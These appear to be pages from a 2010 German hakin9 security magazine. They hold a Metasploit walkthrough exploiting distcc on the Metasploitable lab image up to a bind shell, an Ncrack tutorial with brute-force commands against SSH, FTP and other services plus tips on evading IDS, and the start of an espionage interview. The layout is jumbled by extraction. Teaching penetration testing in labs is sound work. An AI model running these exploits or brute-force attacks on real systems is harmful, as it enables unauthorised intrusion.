Listing 2. Suche nach dem entsprechenden Expoit msf > search distcc [*] Searching loaded modules for pattern 'distcc'... Exploits ======== Name
Disclosure Date
Rank
Description
----
---------------
----
-----------
unix/misc/distcc_exec
2002-02-01
excellent
DistCC Daemon Command Execution
Listing 3. Anzeige der kompatiblen Payloads msf exploit(distcc_exec) > show payloads Compatible Payloads =================== Name
Disclosure Date
Rank
Description
----
---------------
----
-----------
cmd/unix/bind_perl
normal
Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind_ruby
normal
Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/generic
normal
Unix Command, Generic command execution
cmd/unix/reverse
normal
Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_perl
normal
Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby
normal
Unix Command Shell, Reverse TCP (via Ruby)
msf exploit(distcc_exec) > set payload cmd/unix/bind_perl
34
10/2010
Das Metasploit Framework als Unterstützung bei Penetrationstests
Was noch fehlt ist der Payload, der auf den Exploit aufsetzt. Dies kann einfach über den Befehl show payloads ermittelt werden (vgl. Listing 3.). Anschließend wird per set payload cmd/unix/bind_perl der erste Payload für den Exploit gesetzt. Entsprechend wird auch der Port und die IP-Adresse des Ziels mittels set eingegeben. Der Befehl show options zeigt uns die Einstellmöglichkeiten an (vgl. Listing 4.). Listing 4. Setzen des Hosts und der Ports mittelst set msf exploit(distcc_exec) > set RPORTS 3632 msf exploit(distcc_exec) > set RHOST 192.168.178.100 msf exploit(distcc_exec) > show options Module options: Name
Current Setting
Required
Description
----
---------------
--------
-----------
RHOST
192.168.178.100
yes
The target
yes
The target port
address RPORT
3632
Name
Current Setting
Required
Description
----
---------------
--------
-----------
LPORT
4444
yes
The listen port
RHOST
192.168.178.100
no
The target
address
Exploit target: Id
Name ----
0
Automatic Target
• leider keine „All-in-One“ Lösung • für Sicherheitsexperten mit entsprechendem KnowHow nur bedingt empfehlenswert, da nicht immer so aktuell & umfangreich wie kommerzielle Lösungen • keine Zero-Day-Exploits
Vorteile des Metasploit Frameworks • Sehr viele inkludierte Exploits und Payloads die auf verschiedensten Betriebssystemen anwendbar sind. • Gute Anpassungsfähigkeit auf eigene Bedürfnisse (anpassbare Exploits) • Plattformunabhängiges Tool, auch für Einsteiger geeignet • quelloffen • modularer Aufbau
Soweit sieht alles gut aus, wir können nun mit dem Aufruf des Exploits beginnen (vgl. Listing 5.). Es wurde nun per remote Bind-Shell die Verbindung hergestellt, jetzt besteht die Möglichkeit weitere RootRechte zu erlangen. Auf dem Metasploitable Image befindet sich eine Textdatei die verschiedene Schwachstellen des Systems auflistet, hier kann man sich auch ein paar Anregungen holen.
Resumee
Payload options (cmd/unix/bind_perl):
--
Nachteile des Metasploit Frameworks
Zusammenfassend lässt sich sagen, dass dieses Framework seit seinem Start im Jahr 2004 immer mehr Anhänger findet, was nicht zuletzt auch der offenen Struktur zuzuschreiben ist. Gerade auch Einsteigern auf dem Gebiet bietet es viele Möglichkeiten ihr Wissen zu erweitern, die Lernkurve ist relativ steil. Diejenigen die von Berufswegen tagtäglich damit arbeiten wissen es zu schätzen und es ist ganz bestimmt ein funktionales Werkzeug, wenn es darum geht sein eigenes System und dessen Schwachstellen kennenzulernen. Dies wiederum macht sich zwar nicht sofort bezahlt, zahlt sich aber spätestens dann aus, wenn Not am Mann ist.
Listing 5. Ausführung des Exploits msf exploit(distcc_exec) > exploit
Im Internet
[*] Started bind handler
• [1]http://www.metasploit.com/framework/ Metasploit Framework Seite • [2]http://www.metasploit.com/documents/express/Metasploitable.zip.torrent/ - Der offizielle Metasploitable Torrent
[*] Command shell session 1 opened (192.168.178.104:57052 -> 192.168.178.100:4444) at Wed Oct 27 00:12:13 +0200 2010 ls 4809.jsvc_up whoami daemon
hakin9.org/de
ALEXANDER WINKLER Der Autor ist selbst als Administrator tätig und betreut die Umsetzung von IT-Sicherheitsrichtlinien in Unternehmen. Kontakt mit dem Autor unter:
[email protected] 35
TOOLS
Ncrack – Netzwerkauthentifizierungen knacken Christian Stockhorst Dieser Artikel beschreibt wie mit dem Tool Ncrack verschiedene Dienste im Netzwerk bzw. die Computer und andere Geräte im Netzwerk auf denen diese Dienste laufen auf schwache Passwörter überprüft werden können. Ncrack bedient sich dabei einem modularem Ansatz, für verschiedene Services. IN DIESEM ARTIKEL ERFAHREN SIE...
WAS SIE VORHER WISSEN/KÖNNEN SOLLTEN...
• wie Sie mit Hilfe von Ncrack BruteForce-Angriffe durchführen • wie Sie Einstellungen vornehmen um die BruteForce-Angriffe
• einfach Kenntnisse eines Betriebssystems (Linux, Windows oder Mac) • Vorkenntnisse Nmap bzw. Port Scanning Techniken • Grundkenntnisse im Netzwerk und der eingesetzten Dienste
N
crack ist ein klassisches BruteForce Programm, es bietet auf einer modularen Basis verschiedene Protokollimplementationen an. Es gibt Module zur Authentifizierung für FTP, SSH, TELNET, HTTP(S), SMB, RDP und POP3(S). Es sind ebenfalls alle möglichen Optionen und Services als Module im Quellcode enthalten. Alle benötigten Informationen genauso wie eine detailliertere Anleitung findet sich auf der NMap – Webseite. Es gibt verschiedene Tools wie Ncrack, z.B. THC-Hydra oder JTR, aber im wesentlichen unterscheiden diese sich nicht wirklich. Bei BruteForce-Angriffen sollte immer beachtet werden, dass die Fähigkeit das Password zu knacken davon abhängt wie gut die Passwortliste ist und in welcher Art und Weise eine Authentifizierung stattfindet. Ein Beispiel hierfür wird im Abschnitt des SSH-Moduls gegeben, da Ncrack hier einen anderen Algorithmus gegenüber anderen Mitspielern, implementiert hat. Wenn es darum geht mit BruteForce-Angriffen erfolgreich die Widerstandsfähigkeit von Systemen überprüfen zu wollen gilt es einige Dinge zu beachten. Wenn wir von BruteForce Angriffen sprechen, dann beschreiben wir eine Methode bei der eine Brechstange angesetzt wird oder wir versuchen mit dem Kopf durch die Wand zu gehen. Denn eines ist gewiss, die Angriffe erfordern meistens viel Zeit und erzeugen ein enorm hohes Aufkommen an Netzwerkverkehr. Umso schwieriger werden die Angriffe, wenn bekannt ist, dass komplexe Passwörter eingesetzt werden.
36
Es gibt die Herausforderung, neben einer guten Passwort- und Namensliste ebenfalls über eine Übersicht aller Hosts im Netzwerk und deren offenen Ports zu verfügen. Hierfür gibt es mehrere Programme, wie z.B. NMap, welches schon genannt worden ist und wohl auch der berühmteste Vertreter seiner Art ist. Mit solch einem Tool lässt sich schnell und gezielt ein gesamtes Netzwerk untersuchen. Außerdem wird die Ausgabe in verschiedenen Dateiformaten angeboten, so dass direkt mit dem erzielten Ergebnis weiter gearbeitet werden kann. Da Nmap und Ncrack sich unmittelbar kombinieren lassen, wird in diesem Artikel speziell der Einsatz von Ncrack mit Hilfe von Nmap aufgezeigt. In den folgenden Abschnitten werden einige Funktionen bzw. Optionen und Services des Programms erklärt. Unter anderem, wie und in welcher Art anzugreifende Ziele definiert werden können. Wie spezielle Spezifikationen für einen Dienst vorgegeben werden. Wie Zeitund Performanceoptionen eingestellt werden und wie eine Authentifizierung durchgeführt werden kann. Daneben bietet Ncrack die Möglichkeit die Ergebnisse in verschiedenster Art auszugeben, was ebenfalls in einem gesondertem Abschnitt vorgestellt wird. Im letztem Abschnitt werden dann noch mehrere Beispiele vorgestellt. Diese Beispiele, mit verschiedenen Spezifikationen und Nutzung verschiedener Module werden ausführlich erklärt. In diesem Abschnitt wird auch mittels Programm TCPDump veranschaulicht, dass mit einem BruteForce Angriff im Netzwerk sehr 11/2010
Ncrack – Netzwerkauthentifizierungen knacken
vorsichtig umgegangen werden muss, denn solch ein Angriff erzeugt eine Menge Netzwerkverkehr (Geräusche).
Installation von Ncrack Ncrack ist verfügbar für die Betriebssysteme(BS) Linux, BSD, Windows und MAC OS X. Eine Installation für die BS Windows und MAC OS X, ist wirklich sehr einfach da hierfür bereits ein Installationspaket vorhanden ist. Es gibt aber auch eine Quellcode-Variante, welche auf allen oben genannten System installiert und genutzt werden kann. Da Ncrack permanent weiterentwickelt wird, steht auch eine SVN – Version zur Verfügung, welche frei zugänglich ist. Linux: Es wird lediglich die Installation von Ncrack auf einem Linuxsystem beschrieben, da die Installationen auf Mac OS X bzw. Windows mit ein bis zwei Mausklicks erledigt ist. Aber auch die Installation unter Linux ist für jemanden mit ein wenig Erfahrung kein wirkliches Hindernis. Denn die Software mit folgenden Befehlen kompiliert und installiert werden. Nachdem die Installation ausgeführt wurde kann das Programm mittels Befehl ncrack aufgerufen werden. Es folgt ein Bildschirm mit allen Einstellungs- und Serviceoptionen.
Ncrack Optionen Im folgendem Abschnitt werden alle Optionen und Servicefunktionen von Ncrack vorgestellt. Es wird jedoch für diejenigen, welche sich schon ausführlicher mit NMap beschäftigt haben schnell klar das Ncrack sich sehr an seinem großem Projektbruder NMap anlehnt, was den Aufruf einiger Parameter angeht. Zielspezifikation: Ncrack bietet mehrere Möglichkeiten um Adressspezifikationen festzulegen, in diesem erstem Abschnitt werden mögliche Zieladressierungen vorgestellt. Die einfachste Zielspezifikation die Ncrack anbietet, ist über den Hostnamen oder die IP-Adresse. Als Beispiel, sei folgender Aufruf gegeben: ncrack 192.168.178.1 oder ncrack testsystem.local. Es besteht die Möglichkeit Ncrack mehrere Zielspezifikationen mitzugeben, diese müssen noch nicht einmal vom selben Typ sein. So wäre folgender Aufruf denkbar: ncrack ssh://192.168.178.1 localhost:22. Auch ganze Netzwerkadressbereiche können über das aus der Linuxwelt bereits bekannte CIDR – Format angesprochen werden. Ein Aufruf sähe wie folgt aus: ncrack ssh://192.168.178.1/24 Ziele können dabei nicht nur, über die Kommandozeile angegeben werden, sondern mit den folgenden
Listing 1. Installation unter Linux //Folgende Befehle sind notwendig um die Software unter Linux zu installieren. //Um die Datei zu entpacken tar -xzf ncrack-0.3ALPHA.ta.gz //Um ins entpackte Verzeichniss zu wechseln cd ncrack-0.3ALPHA //Um die Konfigurationsdatei zu erstellen, Verzeichnisse vorzubereiten und Dateien zu kopieren ./configure //Durchführung der Übersetzung make //Benutzerwechsel, Installation nur als Root möglich su root //Installation des Programmes make install
Listing 2. NMap Aufruf für XML Datei /*Mit folgendem NMap-Befehl kann eine entsprechende XML – Datei erstellt werden , welche in Ncrack aufgerufen werden kann*/ nmap 192.168.178.1 -oX test.xml
Listing 3. Ncrack Aufruf einer NMap-XML Datei /*Mit folgendem Ncrack-Befehl kann eine entsprechende Nmap-XML Datei aufgerufen werden.*/ ncrack 192.168.178.1 -iX test.xml
hakin9.org/de
37
TOOLS
Schaltern auch über Dateien eingelesen werden, die zuvor z.B. mit NMap erstellt worden sind. In Listing 2 sehen sie daher, wie eine solche Nmap-XML Datei erstellt werden kann, im Anschluss daran zeigt Listing 3 wie die erstellte Datei mit Ncrack aufgerufen werden kann. Häufig ist es so, dass durch Nmap mehr Dienste auf dem Host erkannt werden, als eigentlich durch Ncrack unterstützt werden. Das hat zur Folge, das die nicht unterstützte Dienste von Ncrack ignoriert werden (vgl. Abbildung 1.).
Dienstspezifikation: Um Ncrack nutzten zu können muss mindestens ein Ziel und ein entsprechender Dienst beim Aufruf angegeben werden. Dabei kann die Dienstspezifikation über den entsprechenden Port oder den Namen des Dienstes definiert werden. Eine Ausnahme bildet jedoch, ein Dienst der auf einem ihm fremden Port angesiedelt ist. Hier muss beim Aufruf, der Dienst und der Port angegeben werden, siehe Beispiel. Ncrack bietet für die oben genannten Möglichkeiten die Per-Host bzw. Global Spezifikation an.
Per-Host Dienstspezifikation: Spezifikationen die perHost festgelegt werden sind direkt an diesen geschrieben und somit auch gebunden. Beispiel: ncrack ssh://192.168.178.27 ftp://192.168. 178.27 192.168.178:21 192.168.178:22 Globale-Dienstspezifikation: Optionen in diesem Modus beziehen sich auf alle Hosts, unabhängig davon auf welchen Dienst diese sich beziehen. Die globale Definition wird mit dem Schalter -p aktiviert. So können mittels Kommatrennung pro Host oder Ziel mehrere Dienste mit entsprechenden Ports festgelegt werden: Beispiel: ncrack 192.168.178.27 -p 22,ftp:3300,telnet, pop:56 Im Normalfall reicht hier die Spezifikation des Ports oder des Dienstes, da Ncrack diesen zuordnen kann. Für entsprechend abweichende Dienste von Standardports, muss beides definiert werden, siehe im obigen Beispiel die Dienste ftp und pop.
Dienstoptionen: Dienstoptionen können genau wie die eben beschrieben Dienstspezifikationen auf verschiedene Gruppen angewendet werden. Unter anderem auf
Listing 4. Beispiel 1 /*Ein erstes einfaches Beispiel mit ssh*/ ncrack 192.168.178.27:22 - -user root,admin,administrator - -pass 123.Admin,passwort,PASSWORT,Passwort1+ /*Identisches Beispiel wie oben, mit anderer Dienstdefinition*/ ncrack ssh://192.168.178.27 - -user root,admin,administrator - -pass 123.Admin,passwort,PASSWORT,Passwort1+
Abbildung 1. Ncrack ignoriert unbekannte Dienste
Abbildung 2. Erfolgreiche Authehtifizierung
38
11/2010
Ncrack – Netzwerkauthentifizierungen knacken
einen einzelnen Host, auf bestimmte Module bzw. Dienste, oder auf eine globale Definition. Durch Dienstoptionen werden dabei die Timing- und Performanceeinstellungen festgelegt, diese werden im folge Abschnitt besprochen. Die verschiedenen Optionen können in einer großen Vielfalt festgelegt werden, dabei gibt es jedoch eine strikte Hierarchie zu berücksichtigen. Per-Host Optionen: Wie im vorherigem Abschnitt schon beschrieben, definieren auch hier die PerHost Optionen spezielle Parameter für ein einzelnes Ziel. Beispiel: ncrack ssh://192.168.178.27:22,cl=1,CL=2 Per-Modul Optionen: Optionen die pro Modul festgelegt werden beziehen sich auf, alle in einem Aufruf bestehenden Instanzen dieses Moduls (Dienstes). Aufgerufen wird die Optionen mit dem Parameter -m . Beispiel: ncrack ssh://192.168.178.1/24 -m ssh: cl=1,CL=2,at=2,cd=300ms Globale Optionen: Optionen die global festgelegt werden, gelten für alle Ziele und alle Dienste. Der Aufruf dieser Optionen wird mit dem Parameter -g initiiert. Beispiel: ncrack 192.168.178.1/24:22 192.168.178. 1/24:80 -g cl=1,CL=3,at=2,cd=300 -m ssh:cl=1,CL=2 Zeit- und Performanceeinstellungen: Diese Gruppe der Optionen ist die wichtigste die ein vernünftiges Netzwerk-Authentifizierungs Tool ausmachen. Um eine größtmögliche Präzision zu erhalten ohne das weiterer Benutzereingriffe notwendig sind, müssen diese Optionen viele Möglichkeiten mit diversen Einstellungen bieten. Einige der kommenden Parameter akzeptieren einen Zeitparameter. Dieser kann in Millisekunden, Sekunden, Minuten und Stunden angeben werden. Im Abschnitt Beispiel wird solch ein Beispiel mit festgelegtem Zeitparameter vorgestellt.
Connection
Limit:
cl
;
CL
Hiermit wird statisch festgelegt wie viele Verbindungen gleichzeitig geöffnet werden. Denn normalerweise arbeitet Ncrack dynamisch, dabei wird die Anzahl von Verbindungen für jedes anzugreifende Ziel anhand von verworfenen Paketen bzw. Verbindungsfehlern festgelegt. Der Nutzen dieser Einstellung ist gerade dann gut geeignet wenn bekannt ist, dass die Ziele bei denen Authentifizierungsversuche durchgeführt werden keine simultanen Verbindungen zulassen. Aber diese Parameter sind auch mit Vorsicht zu gebrauchen, denn durch einen zu hohen Wert kann es passieren das Firewall- oder IDS-Systeme einen DoS Angriff dahinter vermuten und die entsprechende IP – Adresse aus dem Netz verbannen. Auf der anderen Seite kann gerade durch den geschickten Nutzen einer Verbindungsobergrenze dafür gesorgt werden, dass der eigene Computer im Netzwerk möglichst unentdeckt bleibt, sich quasi unsichtbar im Netzwerk aufhält. Was aber wiederum einen enormen Nachteil der Geschwindigkeit bei den Authentifizierungsversuchen nach sich zieht. Authentication Tries: at
Mit Hilfe dieses Parameters kann festgelegt werden, wie viele Authentifizierungs-Versuche pro Verbindung vorgenommen werden. Viele Dienste haben eine obere Grenze was die Anzahl der Versuche pro Verbindung angeht. Wenn der Wert auf eine zu hohe Anzahl gesetzt wird, dann wird daraus kein wirklicher Mehrwert gezogen. Denn sobald Ncrack realisiert, dass die angegebene Zahl der Authentifizierungsversuche nicht erreicht werden kann, wird die übergebene Einstellung ignoriert.
Abbildung 3. Statusausgabe Ncrack
Abbildung 4. Ncrack Netzwerkverkehr
hakin9.org/de
39
TOOLS
Connection Delay: cd
Einstellen einer Verzögerung zwischen den einzelnen Verbindungen eines Authentifizierungs-Versuches. Im Standard versucht Ncrack so schnell wie möglich neue Verbindungen zu initiieren, dies aber auch nur wenn kein Connection Limit eingestellt ist. Die Option benötigt eine der oben bereits genannten Zeitparameter. Timeout: to
Durch diese Option wird festgelegt wie viel Zeit Ncrack aufbringt um einen Dienst zu knacken. Danach stoppt das Programm, unabhängig davon ob es gültige Anmeldedaten gefunden hat oder nicht. Timing template: -T paranoid / sneaky / polite / normal / aggressive / insane
Diese Einstellungen, sind den Lesern die bereits Erfahrung mit Nmap haben sehr wahrscheinlich bekannt. Es geht hier um Templates, welche ein Gesamtgerüst aus den oben im einzelnen beschriebenen Parametern bilden. Angefangen bei paranoid welches eine Vorlage darstellt mit wenigen Verbindungen und hohen Timeouts, bis hin zu insane welches ein Maximum an Verbindungen und ein Minimum an Timeouts repräsentiert.
Authentifizierung: In diesem Abschnitt werden die verschiedenen Parameter beschrieben, die genutzt werden um Benutzernamens- und Passwortlisten übergeben zu können. • Hinweis: Ncrack liefert im Verzeichnis /usr/local/ share/ncrack einige vordefinierte Listen für Passwörter und Benutzernamen. • Benutzerliste-Datei: -U • Passwortliste-Datei: -P • Benutzernamen: - - user • Passwortliste: - - pass • Umkehren der Listeniteration: - - passwords-first Ein Beispiel für den Aufruf solcher Listen befindet sich im Abschnitt Beispiele.
Ausgabe: Vieles was an Daten erzeugt wird, muss zu Zwecken der Dokumentation, oder alleine um eine vernünftige Übersicht zu erhalten dementsprechend vom Programm ausgegeben oder dargestellt werden. An dieser Stelle, werden durch Ncrack mehrere Möglichkeiten geboten damit auch fast jeder Benutzer auf seine Kosten kommt. Ncrack bietet drei verschiedene Ausgabemöglichkeiten an. Das erste hier vorgestellte Ausgabeformat ist der interactive output, welcher über das Standardoutput(stdout) des Betriebssystems gesendet
Listing 5. Beispiel 2 /*Ein Beispiel für einen Netzwerkbereich und mehreren Diensten mit ftp und ssh*/ ncrack 192.168.178.1/24 -p ftp:21,ssh:22 - -user root,admin,administrator - -pass 123.Admin,passwort,PASSWORT,Pa sswort1+
Listing 6. Beispiel 3 /*Ein Beispiel für einen Netzwerkbereich und mehreren Diensten und Passwortlisten*/ ncrack 192.168.178.1/24:22 192.168.178.1/24:80 –iX sample.xml -U usernames.txt -P passwortliste.txt
Listing 7. Beispiel 4 /*Ein Beispiel für einen Netzwerkbereich und mehreren Diensten, Passwortlisten und Moduloptionen*/ ncrack 192.168.178.1/24:22 192.168.178.1/24:80 -m ssh:cl=1,CL=2 –iX sample.xml -U usernames.txt -P passwortliste.txt
Listing 8. Beispiel 5 /*Ein Beispiel für einen Netzwerkbereich und mehreren Diensten, Passwortlisten, Moduloptionen und globalen Einstellungen*/ ncrack 192.168.178.1/24:22 192.168.178.1/24:80 -g cl=1,CL=3,at=2,cd=300 -m ssh:cl=1,CL=2 –iX sample.xml -U usernames.txt -P passwortliste.txt
40
11/2010
Ncrack – Netzwerkauthentifizierungen knacken
wird. Daneben gibt es dann noch den normal output, welcher dem interactive output identisch ist. Die Unterschiede zeigen sich in der Ausgabe von Laufzeitinformationen und Warnungen. Die dritte Ausgabemöglichkeit ist XML, was heutzutage eines der wichtigsten Ausgabetypen ist. Es kann sehr schnell in HTML konvertiert werden, um es grafisch anzeigen zu können. Auch ein Import in Datenbanken kann durch dieses Format ohne größere Probleme bewerkstelligt werden. Ausgabeformate: Die mögliche Ausgabe kann anhand dreier Parameter gestaltet werden, welche zwei verschiedene Dateitypen erzeugen. So kann entweder eine Textdatei oder eine Xml – Datei als Ausgabeformat gewählt werden. Der dritte Parameter erlaubt nur noch eine Ausgabe beider Dateitypen. Die Möglichen Parameter sind: -oN ; -oX ; -oA. Verschiedenes (Miscellaneous Options): Hierunter fallen einige wichtige und nicht so wichtige Optionen die in Ncrack eingeschaltet werden können. Drei Optionsmöglichkeiten sollten an dieser Stelle jedoch erklärt werden, da diese die Arbeit mit Ncrack erleichtern können. - -resume : Mit dieser Option besteht die Möglichkeit eine zuvor durch den Benutzer abgebrochene Sitzung wieder aufzunehmen. Eine Datei welche aus einem Abbruch erzeugt wurde, befindet sich im HomeVerzeichniss des Benutzers unter .ncrack, die Datei weißt dabei das Format: restore.YY-MM-DD_hh-mm auf. -6: Diese Option aktiviert IPv6, was zur Folge hat das anstelle von Hostnamen nun ausschließlich Ipv6Adressen akzeptiert werden. Alles andere wie z.B. die Ausgabe bleibt jedoch gleich.
Ncrack Module FTP: FTP ist eines der schnellsten Module, Grund hierfür ist unter anderem der geringe Protokoll-Overhead. Außerdem erlauben die meisten FTP-Dienste 3 bis 6 gleichzeitige Verbindungen, mit dem Ergebnis eines fehlgeschlagenen Anmeldungsversuch. Ein bekanntes Beispiel hierfür, ist FileZilla bei dem die Verzögerung so groß ist, dass es praktisch einfacher ist, mehrere Verbindungen gleichzeitig zu öffnen mit jeweils einer Authentifikation. TELNET: Telnet ist zwar schon seit längerem durch seinen Gegenspieler SSH ersetzt worden, jedoch findet es immer noch häufigen Einsatz im Bereich von Routern und Netzwerkdrucken welche einen Fernwartungszugang haben. Normalerweise ist deren Authentifizierung auch recht einfach zu knacken, da meistens Standardpasswörter benutzt werden welche der Öffentlichkeit bekannt sind. Einen erheblichen Nachteil hat TELNET an sich, die Authentifizierung, welche sehr langsam. SSH: Um Bruteforce-Angriffe gegen SSH durchführen zu können sind einige Hürden und Herausforderunhakin9.org/de
gen zu beachten. Daher geht Ncrack bei der Iteration von Passwort und Benutzerlisten bei SSH etwas anders vor als die meisten anderen Programme. Grund hierfür ist, dass SSH während einer bestehenden Verbindungsauthentifikation keine Änderung des Anmeldenamens zulässt. Ncrack nutzt einen speziellen Algorithmus, welcher den Anmeldenamen einer bestehenden Verbindung mit Passwörtern versorgt. Ncrack öffnet als eine Verbindung und übergibt soviele Passwörter an einen bestimmten Anmeldenamen wie Versuche vom Server zugelassen werden. HTTP(S): Im HTTP-Modul wird bis jetzt lediglich die BASIS - Authentifikation unterstützt. Ncrack's HTTPModule versucht mit dem Keep-Alive Flag zu arbeiten. Denn dieses führt zu einer erhöten Geschwindigkeit weil dutzende von Versuchen pro Verbindung unternommen werden können. Das HTTP – Modul kann auch über SSL genutzt werden. SMB: Das SMB – Modul arbeitet über Raw-TCP, NetBIOS ist zum jetzigem Standpunkt noch nicht implementiert. Einen Vorteil, den dieses Protokoll bietet ist die hohe Parallelisierung, so dass Benutzer die Anzahl an gleichzeitigen Proben gegenüber SMB hoch halten können. RDP: Ist ein von Microsoft entwickeltest Protokoll zur Übertragung von grafischen Terminalsessions vom Remote-Computer zum Client. RDP ist eines der Protokolle welche den komplexesten Aufbau hat, es wird ein Austausch vieler Pakete für die Authehtifizierungsphase vorausgesetzt. Daher ist dieses Modul auch das langsamste aller hier vorgestellten Module, dementsprechend benötigt das knacken von Passwörtern viel Zeit. Vorsicht: Sobald es sich um einen RDP Server auf Basis von Windows XP handelt, ist vorsichtig damit umzugehen. Denn diese können nicht mehrere Verbindungen zur selben Zeit aushandeln. Daher ist es ratsam ein sehr langsames timing template oder noch besser die maximale Anzahl an parallelen Verbindungen zu beschränken, mit der timing option CL (Connection Limit) oder cd (connection delay). POP3(S): Leider lässt sich zu diesem Modul noch nicht so viel sagen, da es noch in einer experimentalen Phase ist. Jedoch kann es schon vollständig, wie die anderen Module auch, eingesetzt werden.
Ncrack Beispiel In den unten aufgezeigten Beispielen, werden alle Aufrufe in einer virtuellen Netzwerkumgebung aufgerufen. Dabei ist stets der virtuelle Client mit der Ip-Adresse 192.168.178.27 das Angriffsziel. Hierbei handelt es sich um das Betriebssystem Debian 5.0 mit einem installierten OpenSSH-Server. In dieser Testumgebung wird stets zu Demonstrationszwecken der Benutzer: root mit dem Passwort: 123. 41
TOOLS
Admin verwendet. Da es sich hierbei um einen Account handelt der in allen vorgestellten Diensten Verwendung findet. Eine erfolgreich durchgeführte Authentifizierung erscheint wie in Abbildung 2 dargestellt. Beide oben aufgeführten Befehle bewirken den gleichen Vorgang, jeweils in einer anderen Schreibweise. In Abbildung 4 ist dargestellt welcher Netzwerkverkehr bei einer Authetifizierung, hier gegen SSH, aufkommt.
Interaktionen zur Laufzeit Während der Ncrack Ausführung, ist eine Interaktion mit dem Programm möglich. Denn alle Tasten die gedrückt werden, werden vom Programm abgefangen umso mit diesem zu interagieren ohne es abbrechen oder neustarten zu müssen. Dabei können folgenden Buchstaben verwendet werden,ein kleiner Buchstabe bedeutet dann die Ausgabe des Programms zu steigern und vice versa. • v / V – erhöhen oder senken des verbosity Levels • d / D – erhöhen des debugging Levels • ? - Ausgabe eines Interaktionshilfe-Bildschirms Jeder andere Taste – Ausgabe einer Statusmeldung (vgl. Abbildung 3. )
Firewalls oder Ids-Systeme im Netzwerk vorhanden sind. Solle die Konfiguration und Durchführung von Ncrack mit bedacht durchgeführt werden. Denn schnell erkennen diese Systeme zu viele Authentifizierungsversuche von einem Client an einem Dienst als einen DoSAngriff. Auf der anderen Seite, führt dies jedoch auch zu erheblichen Performanceverlusten, da nur noch wenige Verbindungen mit hohen Timeouts durchgeführt werden können. Es sollten auch im Normalfall nicht ganze Netzwerkbereiche angegeben werden, da der zu prüfende Raum zu groß wird. Ziele sollten ganz gezielt ausgesucht werden, da so eine zeitliche Prüfung möglich ist. Es sollte auch auf z.B. Arbeitszeiten der User geachtet werden, versuchen Sie Zeiten zu finden in denen die User arbeiten und Fehler in den Anmeldungen zur Tagesgeschäft zählen. Erstellen Sie sich persönliche Namens- und Passwortlisten. Erstellen Sie Namenslisten anhand von Informationen die Sie Sammeln konnten. Die Passwortlisten sollten zusammengestellt werden aus den Namenslisten und Informationen aus dem Internet. Es gibt genug Quellen die über bewertete Passwortlisten verfügen, „the common ones“, bzw. aktuelle Listen über Standardpasswörter von Netzwerkgeräten verfügen.
Best Practices Wie bereits weiter oben erwähnt ist ein BruteForce – Angriff immer ein Versuch ein System mit der Brechstange zu knacken. BruteForce bedeutet also eine Gradwanderung, möglichst viele Versuche innerhalb kürzester Zeit was Authentifizierung angeht dabei aber möglichst unsichtbar für die Systeme bleiben die attackiert werden. Im voraus, sollten Informationen bzgl. der Netzwerkinfrastruktur bzw. der dort angesiedelten Dienste vorgenommen werden. Hierzu gibt es Tools wie Nmap die sich in diesem Bereich bereits bewährt haben. Wenn bekannt ist, dass bestimmte Sicherheitssysteme wie
Nachteile: • Es gibt nur eine beschränkte Modulauswahl für Netzwerkdienste • Es gibt lediglich eine frühe Alpha-Version, daher sind Module gar nicht oder nur unzureichend getestet
Vorteile: • • • • • •
42
Kombination mit Nmap XML Output Zielspezifikation über Inputfiles, für große Netzwerke Projekt der Nmap-Community Optionen ähnlich wie Nmap Modulareransatz für jede Option/Service Open Source Programm, Quellcode,
Im Internet • • • •
http://nmap.org/ http://nmap.org/ncrack/ http://sock-raw.org/papers/openssh_library http://seclists.org/nmap-dev/2010/q4/173
CHRISTIAN STOCKHORST Der Autor beschäftigt sich privat und auch beruflich mit Tools der IT – Sicherheit, vor allem Programme die zur Durchführung von Penetrationsvorgängen genutzt werden können stehen ganz in seinem Blickpunkt. Er arbeitet momentan im Bereich Netzwerktechnik, IT - Sicherheit und Client-/Serversoftware bei der KDT GmbH. Kontakt mit dem Autor:
[email protected] 11/2010
Was erwartet Sie in diesem Kurs: Die Wiederherstellung verlorener Passwörter Das Abfangen von Informationen in lokalen Netzwerken Das Abfangen von verschlüsselten Daten Angriff auf eine SSL-Sitzung Backdoor - die "Hintertür" als Tor zum System Dateien und Verzeichnisse mit Hilfe des Kernels 2.6 verstecken Angriffe Angri vom Typ Buffer-Overflow Angriffe vom Typ Heap-Overflow Format-String-Angriffe Das Überschreiben des Datenstrom-Zeigers (File Stream Pointer Overwrite) Fehler im Systemkernel Die Verwendung des ICMP-Protokolls aus der Sicht des Hackers Identifizierung eines Netzwerkcomputers Netfilter im Dienste der Systemsicherheit Systemsiche Absichern des Betriebssystems Schritt für Schritt Sicherheitsscanner Kernelpatches zur Erhöhung der Sicherheit Intrusion Detection System (IDS) Angriff mit Hilfe eines Webservers Shellcode-Erstellung in der Win32-Umgebung
72888
INTERVIEW
„Zu aller erst sollte man sich seiner Situation, seiner schutzwürdigen Interessen und seiner Risiken bewusst sein.“ Interview mit Thomas Hackner hakin9: Hallo Herr Hackner, es freut mich, dass Sie noch einmal Zeit gefunden haben, um sich über das Thema Industrie- und Wirtschaftsspionage mit uns zu unterhalten. Gerade in Zeiten der Wirtschaftskrise und verstärkten Konkurrenzdruck, den wir in einigen Wirtschaftsbereichen deutlich erkennen können, steigt das Risiko Opfer eines solchen Angriffes zu werden. Wie sehen Sie die Entwicklung in diesem Bereich? Thomas Hackner: Es freut mich ebenfalls, mit Ihnen noch einmal ins Gespräch zu kommen. Die Situation in Österreich ist speziell. Wir stellen durch unsere geopolitisch zentrale Lage einen interessanten Knotenpunkt für viele Nachrichtendienste dar. Die Anzahl an diplomatischen Vertretungen und Nachrichtendienstoffizieren internationaler Organisationen ist überproportional hoch, so geht es aus dem Verfassungsschutzbericht 2010 des Bundesministeriums für Inneres hervor. Interessanterweise gab es keine nachvollziehbaren Auswirkungen der Wirtschaftskrise auf die Anzahl der Spionagefälle in Österreich. Dennoch gilt es wachsam zu sein, die Dunkelziffer an Vorfällen der Industriespionage dürfte entsprechend hoch sein und sowohl kleine, als auch große Firmen betreffen. Das Risiko durch Wirtschaftsspionage ist durch den regen Verkehr an Nachrichtendiensten ebenfalls nicht zu unterschätzen.
